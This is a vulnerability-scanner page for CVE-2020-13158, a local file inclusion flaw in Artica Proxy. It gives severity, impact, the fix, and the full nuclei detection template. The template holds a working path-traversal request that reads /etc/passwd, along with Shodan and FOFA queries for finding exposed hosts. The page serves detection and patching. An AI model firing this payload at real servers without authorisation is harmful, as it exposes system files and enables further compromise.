Artica Proxy Community Edition <4.30.000000 - Local File Inclusion

highseverity

7.5CVSS score

52.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Artica Proxy Community Edition before 4.30.000000 is vulnerable to local file inclusion via the fw.progrss.details.php popup parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.

Fix

Upgrade to Artica Proxy Community Edition version 4.30.000000 or later to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-13158 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-13158

info:
  name: Artica Proxy Community Edition <4.30.000000 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Artica Proxy Community Edition before 4.30.000000 is vulnerable to local file inclusion via the fw.progrss.details.php popup parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to Artica Proxy Community Edition version 4.30.000000 or later to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/InfoSec4Fun/CVE-2020-13158
    - https://sourceforge.net/projects/artica-squid/files/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13158
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13158
    cwe-id: CWE-22
    epss-score: 0.52345
    epss-percentile: 0.98972
    cpe: cpe:2.3:a:articatech:artica_proxy:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: articatech
    product: artica_proxy
    shodan-query: http.html:"artica"
    fofa-query: body="artica"
  tags: cve,cve2020,artica,lfi,articatech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from